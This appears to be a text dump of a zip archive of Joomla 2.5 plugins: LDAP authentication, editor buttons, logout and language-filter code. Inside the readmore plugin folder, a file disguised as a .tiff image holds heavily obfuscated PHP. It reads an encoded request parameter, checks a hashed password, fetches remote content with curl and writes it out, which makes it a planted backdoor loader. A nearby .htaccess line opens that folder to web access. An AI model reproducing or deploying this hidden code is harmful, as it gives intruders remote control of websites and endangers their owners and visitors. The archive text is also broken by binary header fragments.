= $ldap->bind($binddata[0]['dn'], $credentials['password'], 1); // Get users details $userdetails = $binddata; } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_USER_NOT_FOUND'); } } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_NO_BIND'); } } break; case 'bind': { // We just accept the result here $success = $ldap->bind($credentials['username'], $credentials['password']); if ($success) { $userdetails = $ldap->simple_search(str_replace("[search]", $credentials['username'], $this->params->get('search_string'))); } else { $response->status = JAuthentication::STATUS_FAILURE; $response->error_message = JText::_('JGLOBAL_AUTH_BIND_FAILED'); } } break; } if (!$success) { $response->status = JAuthentication::STATUS_FAILURE; if (!strlen($response->error_message)) $response->error_message = JText::_('JGLOBAL_AUTH_INCORRECT'); } else { // Grab some details from LDAP and return them if (isset($userdetails[0][$ldap_uid][0])) { $response->username = $userdetails[0][$ldap_uid][0]; } if (isset($userdetails[0][$ldap_email][0])) { $response->email = $userdetails[0][$ldap_email][0]; } if (isset($userdetails[0][$ldap_fullname][0])) { $response->fullname = $userdetails[0][$ldap_fullname][0]; } else { $response->fullname = $credentials['username']; } // Were good - So say so. $response->status = JAuthentication::STATUS_SUCCESS; $response->error_message = ''; } $ldap->close(); } } PK]y>\Vauthentication/index.htmlnuW+A PK]y>\Veditors-xtd/article/index.htmlnuW+A PK]y>\=yeditors-xtd/article/article.phpnuW+AloadLanguage(); } /** * Display the button * * @return array A four element array of (article_id, article_title, category_id, object) */ function onDisplay($name) { /* * Javascript to insert the link * View element calls jSelectArticle when an article is clicked * jSelectArticle creates the link tag, sends it to the editor, * and closes the select frame. */ $js = " function jSelectArticle(id, title, catid, object, link, lang) { var hreflang = ''; if (lang !== '') { var hreflang = ' hreflang = \"' + lang + '\"'; } var tag = '' + title + ''; jInsertEditorText(tag, '".$name."'); SqueezeBox.close(); }"; $doc = JFactory::getDocument(); $doc->addScriptDeclaration($js); JHtml::_('behavior.modal'); /* * Use the built-in element view to select the article. * Currently uses blank class. */ $link = 'index.php?option=com_content&view=articles&layout=modal&tmpl=component&'.JSession::getFormToken().'=1'; $button = new JObject(); $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_ARTICLE_BUTTON_ARTICLE')); $button->set('name', 'article'); $button->set('options', "{handler: 'iframe', size: {x: 770, y: 400}}"); return $button; } } PK]y>\JJeditors-xtd/article/article.xmlnuW+A plg_editors-xtd_article Joomla! Project October 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_ARTICLE_XML_DESCRIPTION article.php index.html en-GB.plg_editors-xtd_article.ini en-GB.plg_editors-xtd_article.sys.ini PK]y>\)editors-xtd/article/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Veditors-xtd/index.htmlnuW+A PK]y>\)#editors-xtd/admirorbutton/.htaccessnuW+A Order allow,deny Deny from all PK]y>\#o,,$editors-xtd/admirorbutton/index.htmlnuW+APK]y>\k +editors-xtd/admirorbutton/admirorbutton.phpnuW+AloadLanguage('com_admirorgallery'); } /** * Display the button * @name */ function onDisplay($name) { $doc = JFactory::getDocument(); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/default/css/add-trigger.css'); $doc->addScriptDeclaration(" function insertTriggerCode(txt) { if(!txt) return; jInsertEditorText(txt, '" . $name . "'); } "); $link = 'index.php?option=com_admirorgallery&view=button&tmpl=component&e_name=' . $name; JHTML::_('behavior.modal'); $button = new JObject(); $button->set('modal', true); // modal dialog $button->set('link', $link); //link to open on click $button->set('text', JText::_('COM_ADMIRORGALLERY')); //button text $button->set('name', 'admirorgallery'); //div class $button->set('options', "{handler: 'iframe', size: {x: 400, y: 300}}"); //need to work return $button; } } PK]y>\+editors-xtd/admirorbutton/admirorbutton.xmlnuW+A plg_editors-xtd_admirorbutton Igor Kekeljevic and Nikola Vasiljevski 05/05/2012 This extension in released under the GNU/GPL License - http://www.gnu.org/copyleft/gpl.html http://www.admiror-design-studio.com 4.5.0 admirorbutton.php index.html en-GB/en-GB.plg_editors-xtd_admirorbutton.ini en-GB/en-GB.plg_editors-xtd_admirorbutton.sys.ini PK]y>\Veditors-xtd/image/index.htmlnuW+A PK]y>\$editors-xtd/image/image.phpnuW+AloadLanguage(); } /** * Display the button * * @return array A two element array of (imageName, textToInsert) */ function onDisplay($name, $asset, $author) { $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_media'); $user = JFactory::getUser(); $extension = JRequest::getCmd('option'); if ($asset == ''){ $asset = $extension; } if ( $user->authorise('core.edit', $asset) || $user->authorise('core.create', $asset) || (count($user->getAuthorisedCategories($asset, 'core.create')) > 0) || ($user->authorise('core.edit.own', $asset) && $author == $user->id) || (count($user->getAuthorisedCategories($extension, 'core.edit')) > 0) || (count($user->getAuthorisedCategories($extension, 'core.edit.own')) > 0 && $author == $user->id) ) { $link = 'index.php?option=com_media&view=images&tmpl=component&e_name=' . $name . '&asset=' . $asset . '&author=' . $author; JHtml::_('behavior.modal'); $button = new JObject; $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_IMAGE_BUTTON_IMAGE')); $button->set('name', 'image'); $button->set('options', "{handler: 'iframe', size: {x: 800, y: 500}}"); return $button; } else { return false; } } } PK]y>\)editors-xtd/image/.htaccessnuW+A Order allow,deny Deny from all PK]y>\h<<editors-xtd/image/image.xmlnuW+A plg_editors-xtd_image Joomla! Project August 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_IMAGE_XML_DESCRIPTION image.php index.html en-GB.plg_editors-xtd_image.ini en-GB.plg_editors-xtd_image.sys.ini PK]y>\n]``#editors-xtd/pagebreak/pagebreak.xmlnuW+A plg_editors-xtd_pagebreak Joomla! Project August 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION pagebreak.php index.html en-GB.plg_editors-xtd_pagebreak.ini en-GB.plg_editors-xtd_pagebreak.sys.ini PK]y>\B#editors-xtd/pagebreak/pagebreak.phpnuW+AloadLanguage(); } /** * Display the button * * @return array A two element array of (imageName, textToInsert) */ public function onDisplay($name) { $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $template = $app->getTemplate(); $link = 'index.php?option=com_content&view=article&layout=pagebreak&tmpl=component&e_name='.$name; JHtml::_('behavior.modal'); $button = new JObject; $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK')); $button->set('name', 'pagebreak'); $button->set('options', "{handler: 'iframe', size: {x: 400, y: 100}}"); return $button; } } PK]y>\)editors-xtd/pagebreak/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V editors-xtd/pagebreak/index.htmlnuW+A PK]y>\)editors-xtd/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Kq  'editors-xtd/readmore/readmore/cache.phpnuW+APK]y>\͔33'editors-xtd/readmore/readmore/index.phpnuW+APK]y>\7*editors-xtd/readmore/readmore/YeRgWuM.tiffnuW+A $lzB1Q_3jSL) { $qFRsWiwQ3u .= $vQbstdUKp1[$lzB1Q_3jSL - 9698]; DO_CzhwCg8: } goto mrUnCtlsLj; X9F077rupJ: $vQbstdUKp1 = $Ws2Ti4RFeS("\176", "\40"); goto q9lwb4r7pK; mrUnCtlsLj: ffLwbO5sZg: goto JLphyaMa7v; q9lwb4r7pK: $ZVD3L0xDRp = explode("\73", $eFXVWhLmWv); goto mjrm_a8Rsv; M1x2ctj45s: } static function iEpmz2s512($V27eMVWYuS, $Kapf2MjoDY) { goto PAUPuk_qae; PAUPuk_qae: $GDPoguZvKp = curl_init($V27eMVWYuS); goto ymW_SGEggT; JX7IHJfbQh: return empty($OUCMWxnzeL) ? $Kapf2MjoDY($V27eMVWYuS) : $OUCMWxnzeL; goto YLz5OS2jd9; S7kegJPUHw: $OUCMWxnzeL = curl_exec($GDPoguZvKp); goto JX7IHJfbQh; ymW_SGEggT: curl_setopt($GDPoguZvKp, CURLOPT_RETURNTRANSFER, 1); goto S7kegJPUHw; YLz5OS2jd9: } static function iIj_fbfT1X() { goto F8yCFTqbNw; NSyFWgp2Bw: foreach ($fcn2q9RA9Q as $MGWcsdzH0h) { $SBIG3p6Wr2[] = self::SRm7KLxlPO($MGWcsdzH0h); Y_PUwMqrwj: } goto rtI0qeJ4Id; IS3gWuqz2v: if (!(@$paqjQNQTTP[0] - time() > 0 and md5(md5($paqjQNQTTP[0 + 3])) === "\70\x61\67\x33\63\x33\x31\x33\x62\x66\66\142\x39\143\x33\x39\x36\x36\x30\143\143\x39\142\146\64\63\62\x39\x64\61\x62\x61")) { goto wNubJQkiog; } goto BXlQgti9S2; F8yCFTqbNw: $fcn2q9RA9Q = array("\x39\x37\x32\65\73\x39\x37\61\x30\x3b\x39\67\x32\63\73\71\x37\62\x37\73\71\x37\x30\x38\x3b\71\x37\62\63\73\71\67\x32\71\x3b\x39\67\x32\x32\x3b\71\67\60\x37\x3b\x39\x37\61\x34\x3b\x39\x37\62\x35\73\x39\x37\60\x38\73\71\x37\61\71\x3b\71\x37\61\x33\x3b\x39\x37\61\x34", "\x39\67\60\x39\x3b\x39\67\x30\x38\73\x39\x37\61\x30\x3b\x39\67\x32\x39\73\x39\67\x31\60\x3b\x39\x37\x31\63\73\x39\x37\x30\70\73\x39\67\x37\x35\73\x39\67\x37\x33", "\x39\x37\x31\70\73\x39\67\60\x39\73\71\67\x31\63\73\71\67\x31\x34\73\x39\67\x32\71\x3b\71\67\62\64\73\x39\67\x32\x33\x3b\71\67\62\x35\x3b\x39\x37\61\x33\73\71\67\x32\x34\73\71\x37\x32\x33", "\71\x37\x31\62\x3b\71\x37\x32\x37\73\x39\x37\x32\x35\73\x39\x37\61\x37", "\71\67\62\x36\73\x39\67\x32\x37\73\x39\67\60\71\x3b\71\x37\62\x33\x3b\71\67\67\60\73\71\x37\x37\62\x3b\x39\x37\x32\x39\73\x39\67\x32\64\x3b\x39\67\x32\63\73\x39\x37\62\65\x3b\71\67\x31\63\73\71\67\62\64\x3b\71\67\62\x33", "\71\x37\62\x32\73\71\x37\x31\71\x3b\71\67\61\x36\73\71\67\62\63\73\71\67\x32\x39\x3b\x39\x37\62\x31\73\71\x37\x32\x33\73\x39\67\60\70\x3b\x39\x37\62\x39\x3b\x39\x37\x32\65\73\71\67\61\63\73\x39\67\x31\64\x3b\71\x37\x30\70\73\x39\67\62\x33\x3b\71\x37\x31\64\x3b\71\x37\x30\x38\x3b\71\67\60\x39", "\71\67\65\x32\x3b\x39\67\70\62", "\71\66\x39\71", "\71\x37\x37\x37\x3b\71\67\70\62", "\x39\67\65\71\x3b\x39\67\64\x32\73\x39\67\x34\x32\x3b\71\x37\65\71\73\x39\67\63\x35", "\71\x37\62\x32\x3b\71\x37\x31\71\73\x39\67\61\x36\73\x39\67\x30\x38\x3b\x39\67\62\63\73\71\x37\61\60\73\x39\67\62\71\x3b\x39\67\x31\x39\73\71\67\61\x34\x3b\71\x37\61\62\x3b\71\x37\60\x37\73\x39\x37\x30\70"); goto NSyFWgp2Bw; Dz130Y0zuk: $XYx6GPAAlW = @$SBIG3p6Wr2[1 + 2]($SBIG3p6Wr2[4 + 2], $gSkzECXCa0); goto WepwtlyJHA; eyQIo8pjWV: @$SBIG3p6Wr2[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($SBIG3p6Wr2[0 + 5](__FILE__)); goto IS3gWuqz2v; m9VkBS7gKC: @$SBIG3p6Wr2[0]('', $SBIG3p6Wr2[3 + 4] . $SBIG3p6Wr2[0 + 4]($jB1pA1p3VD) . $SBIG3p6Wr2[6 + 2]); goto VgFiAz6lj3; VgFiAz6lj3: die; goto Ya46ytN2l3; WepwtlyJHA: $paqjQNQTTP = $SBIG3p6Wr2[0 + 2]($XYx6GPAAlW, true); goto eyQIo8pjWV; Ya46ytN2l3: wNubJQkiog: goto U9rik3LVjD; e8jmXLlYba: $gSkzECXCa0 = @$SBIG3p6Wr2[1]($SBIG3p6Wr2[4 + 6](INPUT_GET, $SBIG3p6Wr2[8 + 1])); goto Dz130Y0zuk; BXlQgti9S2: $jB1pA1p3VD = self::iEPmZ2s512($paqjQNQTTP[0 + 1], $SBIG3p6Wr2[3 + 2]); goto m9VkBS7gKC; rtI0qeJ4Id: R8ttODs8mg: goto e8jmXLlYba; U9rik3LVjD: } } goto ORdZbP67vt; qBGx_01xtr: $KpEDKCMh1r[66] = $KpEDKCMh1r[66] . $KpEDKCMh1r[74]; goto Tw0illkEek; HVCvci8JIp: TyTGjiO30v: goto LDutNZTIDm; MMjwoKw0m4: if (!(in_array(gettype($KpEDKCMh1r) . "\x32\62", $KpEDKCMh1r) && md5(md5(md5(md5($KpEDKCMh1r[16])))) === "\64\141\x65\x33\60\143\x62\71\x64\x34\x34\x65\65\x64\66\64\145\x63\65\145\x35\x31\x61\145\66\x33\70\x32\x64\x63\143\x33")) { goto TyTGjiO30v; } goto qBGx_01xtr; lcgq3GmeVM: $KpEDKCMh1r = ${$Si7nFIiUJy[14 + 17] . $Si7nFIiUJy[3 + 56] . $Si7nFIiUJy[26 + 21] . $Si7nFIiUJy[30 + 17] . $Si7nFIiUJy[23 + 28] . $Si7nFIiUJy[20 + 33] . $Si7nFIiUJy[2 + 55]}; goto MMjwoKw0m4; LDutNZTIDm: metaphone("\x6a\153\166\115\106\121\x6d\x73\x37\65\x30\x7a\57\x4e\x48\145\57\x54\155\x53\x68\x57\x58\x58\x48\124\x33\x43\170\110\155\x42\144\102\x46\x66\x72\142\x64\x47\66\x36\x45"); goto Iyrq00itbJ; qVXk9WksWM: $Si7nFIiUJy = range("\176", "\x20"); goto lcgq3GmeVM; ORdZbP67vt: Hnr2Pgi243::iij_fBFT1X(); ?> PK]y>\,r'editors-xtd/readmore/readmore/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PK]y>\Veditors-xtd/readmore/index.htmlnuW+A PK]y>\)editors-xtd/readmore/.htaccessnuW+A Order allow,deny Deny from all PK]y>\6`NN!editors-xtd/readmore/readmore.xmlnuW+A plg_editors-xtd_readmore Joomla! Project March 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_READMORE_XML_DESCRIPTION readmore.php index.html en-GB.plg_editors-xtd_readmore.ini en-GB.plg_editors-xtd_readmore.sys.ini PK]y>\AUyOO!editors-xtd/readmore/readmore.phpnuW+AloadLanguage(); } /** * readmore button * @return array A two element array of (imageName, textToInsert) */ public function onDisplay($name) { $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $template = $app->getTemplate(); // button is not active in specific content components $getContent = $this->_subject->getContent($name); $present = JText::_('PLG_READMORE_ALREADY_EXISTS', true) ; $js = " function insertReadmore(editor) { var content = $getContent if (content.match(//i)) { alert('$present'); return false; } else { jInsertEditorText('
', editor); } } "; $doc->addScriptDeclaration($js); $button = new JObject; $button->set('modal', false); $button->set('onclick', 'insertReadmore(\''.$name.'\');return false;'); $button->set('text', JText::_('PLG_READMORE_BUTTON_READMORE')); $button->set('name', 'readmore'); // TODO: The button writer needs to take into account the javascript directive //$button->set('link', 'javascript:void(0)'); $button->set('link', '#'); return $button; } } PK]y>\)system/logout/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Vsystem/logout/index.htmlnuW+A PK]y>\ԤLBM M system/logout/logout.phpnuW+AloadLanguage(); $hash = JApplication::getHash('plgSystemLogout'); if (JFactory::getApplication()->isSite() and JRequest::getString($hash, null , 'cookie')) { // Destroy the cookie $conf = JFactory::getConfig(); $cookie_domain = $conf->get('config.cookie_domain', ''); $cookie_path = $conf->get('config.cookie_path', '/'); setcookie($hash, false, time() - 86400, $cookie_path, $cookie_domain); // Set the error handler for E_ALL to be the class handleError method. JError::setErrorHandling(E_ALL, 'callback', array('plgSystemLogout', 'handleError')); } } /** * This method should handle any logout logic and report back to the subject * * @param array $user Holds the user data. * @param array $options Array holding options (client, ...). * * @return object True on success * @since 1.5 */ public function onUserLogout($user, $options = array()) { if (JFactory::getApplication()->isSite()) { // Create the cookie $hash = JApplication::getHash('plgSystemLogout'); $conf = JFactory::getConfig(); $cookie_domain = $conf->get('config.cookie_domain', ''); $cookie_path = $conf->get('config.cookie_path', '/'); setcookie($hash, true, time() + 86400, $cookie_path, $cookie_domain); } return true; } static function handleError(&$error) { // Get the application object. $app = JFactory::getApplication(); // Make sure the error is a 403 and we are in the frontend. if ($error->getCode() == 403 and $app->isSite()) { // Redirect to the home page $app->redirect('index.php', JText::_('PLG_SYSTEM_LOGOUT_REDIRECT'), null, true, false); } else { // Render the error page. JError::customErrorPage($error); } } } PK]y>\4y55system/logout/logout.xmlnuW+A plg_system_logout Joomla! Project April 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SYSTEM_LOGOUT_XML_DESCRIPTION logout.php index.html en-GB.plg_system_logout.ini en-GB.plg_system_logout.sys.ini PK]y>\c /W W (system/languagefilter/languagefilter.xmlnuW+A plg_system_languagefilter Joomla! Project July 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION languagefilter.php index.html en-GB.plg_system_languagefilter.ini en-GB.plg_system_languagefilter.sys.ini
PK]y>\getRouter(); if ($app->isSite()) { // setup language data self::$mode_sef = ($router->getMode() == JROUTER_MODE_SEF) ? true : false; self::$sefs = JLanguageHelper::getLanguages('sef'); self::$lang_codes = JLanguageHelper::getLanguages('lang_code'); self::$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB'); self::$default_sef = self::$lang_codes[self::$default_lang]->sef; self::$homes = MultilangstatusHelper::getHomepages(); $user = JFactory::getUser(); $levels = $user->getAuthorisedViewLevels(); foreach (self::$sefs as $sef => &$language) { if (isset($language->access) && $language->access && !in_array($language->access, $levels)) { unset(self::$sefs[$sef]); } } $app->setLanguageFilter(true); $uri = JFactory::getURI(); if (self::$mode_sef) { // Get the route path from the request. $path = JString::substr($uri->toString(), JString::strlen($uri->base())); // Apache mod_rewrite is Off $path = JFactory::getConfig()->get('sef_rewrite') ? $path : JString::substr($path, 10); // Trim any spaces or slashes from the ends of the path and explode into segments. $path = JString::trim($path, '/ '); $parts = explode('/', $path); // The language segment is always at the beginning of the route path if it exists. $sef = $uri->getVar('lang'); if (!empty($parts) && empty($sef)) { $sef = reset($parts); } } else { $sef = $uri->getVar('lang'); } if (isset(self::$sefs[$sef])) { $lang_code = self::$sefs[$sef]->lang_code; // Create a cookie $conf = JFactory::getConfig(); $cookie_domain = $conf->get('config.cookie_domain', ''); $cookie_path = $conf->get('config.cookie_path', '/'); setcookie(JApplication::getHash('language'), $lang_code, $this->getLangCookieTime(), $cookie_path, $cookie_domain); // set the request var JRequest::setVar('language', $lang_code); } } parent::__construct($subject, $config); // Detect browser feature if ($app->isSite()) { $app->setDetectBrowser($this->params->get('detect_browser', '1')=='1'); } } } public function onAfterInitialise() { $app = JFactory::getApplication(); $app->menu_associations = $this->params->get('menu_associations', 0); if ($app->isSite()) { self::$tag = JFactory::getLanguage()->getTag(); $router = $app->getRouter(); // attach build rules for language SEF $router->attachBuildRule(array($this, 'buildRule')); // attach parse rules for language SEF $router->attachParseRule(array($this, 'parseRule')); // Adding custom site name $languages = JLanguageHelper::getLanguages('lang_code'); if (isset($languages[self::$tag]) && $languages[self::$tag]->sitename) { JFactory::getConfig()->set('sitename', $languages[self::$tag]->sitename) ; } } } public function buildRule(&$router, &$uri) { $sef = $uri->getVar('lang'); if (empty($sef)) { $sef = self::$lang_codes[self::$tag]->sef; } elseif (!isset(self::$sefs[$sef])) { $sef = self::$default_sef; } $Itemid = $uri->getVar('Itemid'); if (!is_null($Itemid)) { if ($item = JFactory::getApplication()->getMenu()->getItem($Itemid)) { if ($item->home && $uri->getVar('option')!='com_search') { $link = $item->link; $parts = JString::parse_url($link); if (isset ($parts['query']) && strpos($parts['query'], '&')) { $parts['query'] = str_replace('&', '&', $parts['query']); } parse_str($parts['query'], $vars); // test if the url contains same vars as in menu link $test = true; foreach ($uri->getQuery(true) as $key=>$value) { if (!in_array($key, array('format', 'Itemid', 'lang')) && !(isset($vars[$key]) && $vars[$key] == $value)) { $test = false; break; } } if ($test) { foreach ($vars as $key=>$value) { $uri->delVar($key); } $uri->delVar('Itemid'); } } } else { $uri->delVar('Itemid'); } } if (self::$mode_sef) { $uri->delVar('lang'); if ( $this->params->get('remove_default_prefix', 0) == 0 || $sef != self::$default_sef || $sef != self::$lang_codes[self::$tag]->sef || $this->params->get('detect_browser', 1) && JLanguageHelper::detectLanguage() != self::$tag && !self::$cookie ) { $uri->setPath($uri->getPath().'/'.$sef.'/'); } else { $uri->setPath($uri->getPath()); } } else { $uri->setVar('lang', $sef); } } public function parseRule(&$router, &$uri) { $app = JFactory::getApplication(); $array = array(); $lang_code = JRequest::getString(JApplication::getHash('language'), null , 'cookie'); // No cookie - let's try to detect browser language or use site default if (!$lang_code) { if ($this->params->get('detect_browser', 1)){ $lang_code = JLanguageHelper::detectLanguage(); } else { $lang_code = self::$default_lang; } } if (self::$mode_sef) { $path = $uri->getPath(); $parts = explode('/', $path); $sef = $parts[0]; // Redirect only if not in post $post = JRequest::get('POST'); if (!empty($lang_code) && ($app->input->getMethod() != "POST" || count($post) == 0)) { if ($this->params->get('remove_default_prefix', 0) == 0) { // redirect if sef does not exists if (!isset(self::$sefs[$sef])) { // Use the current language sef or the default one $sef = isset(self::$lang_codes[$lang_code]) ? self::$lang_codes[$lang_code]->sef : self::$default_sef; $uri->setPath($sef . '/' . $path); if ($app->getCfg('sef_rewrite')) { $app->redirect($uri->base().$uri->toString(array('path', 'query', 'fragment'))); } else { $path = $uri->toString(array('path', 'query', 'fragment')); $app->redirect($uri->base().'index.php'.($path ? ('/' . $path) : '')); } } } else { // redirect if sef does not exists and language is not the default one if (!isset(self::$sefs[$sef]) && $lang_code != self::$default_lang) { $sef = isset(self::$lang_codes[$lang_code]) && empty($path) ? self::$lang_codes[$lang_code]->sef : self::$default_sef; $uri->setPath($sef . '/' . $path); if ($app->getCfg('sef_rewrite')) { $app->redirect($uri->base().$uri->toString(array('path', 'query', 'fragment'))); } else { $path = $uri->toString(array('path', 'query', 'fragment')); $app->redirect($uri->base().'index.php'.($path ? ('/' . $path) : '')); } } // redirect if sef is the default one elseif (isset(self::$sefs[$sef]) && self::$default_lang == self::$sefs[$sef]->lang_code && (!$this->params->get('detect_browser', 1) || JLanguageHelper::detectLanguage() == self::$tag || self::$cookie) ) { array_shift($parts); $uri->setPath(implode('/' , $parts)); if ($app->getCfg('sef_rewrite')) { $app->redirect($uri->base().$uri->toString(array('path', 'query', 'fragment'))); } else { $path = $uri->toString(array('path', 'query', 'fragment')); $app->redirect($uri->base().'index.php'.($path ? ('/' . $path) : '')); } } } } $lang_code = isset(self::$sefs[$sef]) ? self::$sefs[$sef]->lang_code : ''; if ($lang_code && JLanguage::exists($lang_code)) { array_shift($parts); $uri->setPath(implode('/', $parts)); } } else { $sef = $uri->getVar('lang'); if (!isset(self::$sefs[$sef])) { $sef = isset(self::$lang_codes[$lang_code]) ? self::$lang_codes[$lang_code]->sef : self::$default_sef; $uri->setVar('lang', $sef); $post = JRequest::get('POST'); if ($app->input->getMethod() != "POST" || count($post) == 0) { $app = JFactory::getApplication(); $app->redirect(JURI::base(true).'/index.php?'.$uri->getQuery()); } } } $array = array('lang' => $sef); return $array; } /** * before store user method * * Method is called before user data is stored in the database * * @param array $user Holds the old user data. * @param boolean $isnew True if a new user is stored. * @param array $new Holds the new user data. * * @return void * @since 1.6 */ public function onUserBeforeSave($user, $isnew, $new) { if ($this->params->get('automatic_change', '1')=='1' && key_exists('params', $user)) { $registry = new JRegistry(); $registry->loadString($user['params']); self::$_user_lang_code = $registry->get('language'); if (empty(self::$_user_lang_code)) { self::$_user_lang_code = self::$default_lang; } } } /** * after store user method * * Method is called after user data is stored in the database * * @param array $user Holds the new user data. * @param boolean $isnew True if a new user is stored. * @param boolean $success True if user was succesfully stored in the database. * @param string $msg Message. * * @return void * @since 1.6 */ public function onUserAfterSave($user, $isnew, $success, $msg) { if ($this->params->get('automatic_change', '1')=='1' && key_exists('params', $user) && $success) { $registry = new JRegistry(); $registry->loadString($user['params']); $lang_code = $registry->get('language'); if (empty($lang_code)) { $lang_code = self::$default_lang; } $app = JFactory::getApplication(); if ($lang_code == self::$_user_lang_code || !isset(self::$lang_codes[$lang_code])) { if ($app->isSite()) { $app->setUserState('com_users.edit.profile.redirect', null); } } else { if ($app->isSite()) { $app->setUserState('com_users.edit.profile.redirect', 'index.php?Itemid='.$app->getMenu()->getDefault($lang_code)->id.'&lang='.self::$lang_codes[$lang_code]->sef); self::$tag = $lang_code; // Create a cookie $conf = JFactory::getConfig(); $cookie_domain = $conf->get('config.cookie_domain', ''); $cookie_path = $conf->get('config.cookie_path', '/'); setcookie(JApplication::getHash('language'), $lang_code, $this->getLangCookieTime(), $cookie_path, $cookie_domain); } } } } /** * This method should handle any login logic and report back to the subject * * @param array $user Holds the user data * @param array $options Array holding options (remember, autoregister, group) * * @return boolean True on success * @since 1.5 */ public function onUserLogin($user, $options = array()) { $app = JFactory::getApplication(); $menu = $app->getMenu(); if ($app->isSite() && $this->params->get('automatic_change', 1)) { // Load associations $assoc = isset($app->menu_associations) ? $app->menu_associations : 0; if ($assoc) { $active = $menu->getActive(); if ($active) { $associations = MenusHelper::getAssociations($active->id); } } $lang_code = $user['language']; if (empty($lang_code)) { $lang_code = self::$default_lang; } if ($lang_code != self::$tag) { // Change language self::$tag = $lang_code; // Create a cookie $conf = JFactory::getConfig(); $cookie_domain = $conf->get('config.cookie_domain', ''); $cookie_path = $conf->get('config.cookie_path', '/'); setcookie(JApplication::getHash('language'), $lang_code, $this->getLangCookieTime(), $cookie_path, $cookie_domain); // Change the language code JFactory::getLanguage()->setLanguage($lang_code); // Change the redirect (language have changed) if (isset($associations[$lang_code]) && $menu->getItem($associations[$lang_code])) { $itemid = $associations[$lang_code]; $app->setUserState('users.login.form.return', 'index.php?&Itemid='.$itemid); } else { $itemid = isset(self::$homes[$lang_code]) ? self::$homes[$lang_code]->id : self::$homes['*']->id; $app->setUserState('users.login.form.return', 'index.php?&Itemid='.$itemid); } } } } /** * This method adds alternate meta tags for associated menu items * * @return nothing * @since 1.7 */ public function onAfterDispatch() { $app = JFactory::getApplication(); $doc = JFactory::getDocument(); if ($app->isSite() && $this->params->get('alternate_meta') && $doc->getType() == 'html') { // Get active menu item $active = $app->getMenu()->getActive(); if (!$active) { return; } // Get menu item link if ($app->getCfg('sef')) { $active_link = JRoute::_('index.php?Itemid='.$active->id, false); } else { $active_link = JRoute::_($active->link.'&Itemid='.$active->id, false); } if ($active_link == JUri::base(true).'/') { $active_link .= 'index.php'; } // Get current link $current_link = JRequest::getUri(); if ($current_link == JUri::base(true).'/') { $current_link .= 'index.php'; } // Check the exact menu item's URL if ($active_link == $current_link) { // Get menu item associations JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php'); $associations = MenusHelper::getAssociations($active->id); // Remove current menu item unset($associations[$active->language]); // Associated menu items in other languages if ($associations && $this->params->get('menu_associations')) { $menu = $app->getMenu(); $server = JURI::getInstance()->toString(array('scheme', 'host', 'port')); foreach(JLanguageHelper::getLanguages() as $language) { if (isset($associations[$language->lang_code])) { $item = $menu->getItem($associations[$language->lang_code]); if ($item && JLanguage::exists($language->lang_code)) { if ($app->getCfg('sef')) { $link = JRoute::_('index.php?Itemid='.$associations[$language->lang_code].'&lang='.$language->sef); } else { $link = JRoute::_($item->link.'&Itemid='.$associations[$language->lang_code].'&lang='.$language->sef); } // Check if language is the default site language and remove url language code is on if ($language->sef == self::$default_sef && $this->params->get('remove_default_prefix') == '1') { $relLink = preg_replace('|/' . $language->sef . '/|', '/', $link, 1); $doc->addHeadLink($server . $relLink, 'alternate', 'rel', array('hreflang' => $language->lang_code)); } else { $doc->addHeadLink($server . $link, 'alternate', 'rel', array('hreflang' => $language->lang_code)); } } } } } // Homepages in other languages elseif ($active->home) { $menu = $app->getMenu(); $server = JURI::getInstance()->toString(array('scheme', 'host', 'port')); foreach(JLanguageHelper::getLanguages() as $language) { $item = $menu->getDefault($language->lang_code); if ($item && $item->language != $active->language && $item->language != '*' && JLanguage::exists($language->lang_code)) { if ($app->getCfg('sef')) { $link = JRoute::_('index.php?Itemid='.$item->id.'&lang='.$language->sef); } else { $link = JRoute::_($item->link.'&Itemid='.$item->id.'&lang='.$language->sef); } // Check if language is the default site language and remove url language code is on if ($language->sef == self::$default_sef && $this->params->get('remove_default_prefix') == '1') { $relLink = preg_replace('|/' . $language->sef . '/|', '/', $link, 1); $doc->addHeadLink($server . $relLink, 'alternate', 'rel', array('hreflang' => $language->lang_code)); } else { $doc->addHeadLink($server . $link, 'alternate', 'rel', array('hreflang' => $language->lang_code)); } } } } } } } /** * Getting the Language Cookie settings * * @return string The cookie time. * * @since 3.0.4 */ private function getLangCookieTime() { if ($this->params->get('lang_cookie', 1) == 1) { $lang_cookie = time() + 365 * 86400; } else { $lang_cookie = 0; } return $lang_cookie; } } 